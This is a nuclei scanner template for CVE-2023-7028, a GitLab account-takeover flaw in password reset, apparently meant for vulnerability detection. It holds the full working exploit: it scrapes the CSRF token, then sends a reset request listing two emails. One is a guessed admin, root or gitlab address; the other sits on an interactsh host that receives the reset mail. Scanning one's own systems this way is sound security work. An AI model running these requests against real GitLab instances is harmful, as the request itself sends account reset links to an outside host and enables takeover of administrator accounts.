nuclei-templates/http/cves/2023/CVE-2023-7028.yaml

id: CVE-2023-7028

info:
  name: GitLab - Account Takeover via Password Reset
  author: DhiyaneshDk,rootxharsh,iamnooob,pdresearch
  severity: critical
  description: |
    An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.3 prior to 16.3.7, 16.4 prior to 16.4.5, 16.5 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which user account password reset emails could be delivered to an unverified email address.
  reference:
    - https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
    - https://x.com/rwincey/status/1745659710089437368?s=20
    - https://gitlab.com/gitlab-org/gitlab/-/issues/436084
    - https://hackerone.com/reports/2293343
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10
    cve-id: CVE-2023-7028
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 6
    vendor: gitlab
    product: gitlab
    shodan-query: title:"Gitlab"
  tags: hackerone,cve,cve2023,gitlab,auth-bypass,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /users/sign_in HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: token
        group: 1
        regex:
          - name="authenticity_token" value="([A-Za-z0-9_-]+)"
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /users/password HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/users/password/new

        authenticity_token={{token}}&user[email][]={{username}}&user[email][]={{rand_base(6)}}@{{interactsh-url}}

    payloads:
      username:
        - admin@example.com
        - admin@{{RDN}}
        - root@{{RDN}}
        - gitlab@{{RDN}}
        - git@{{RDN}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'smtp')

    extractors:
      - type: dsl
        dsl:
          - username
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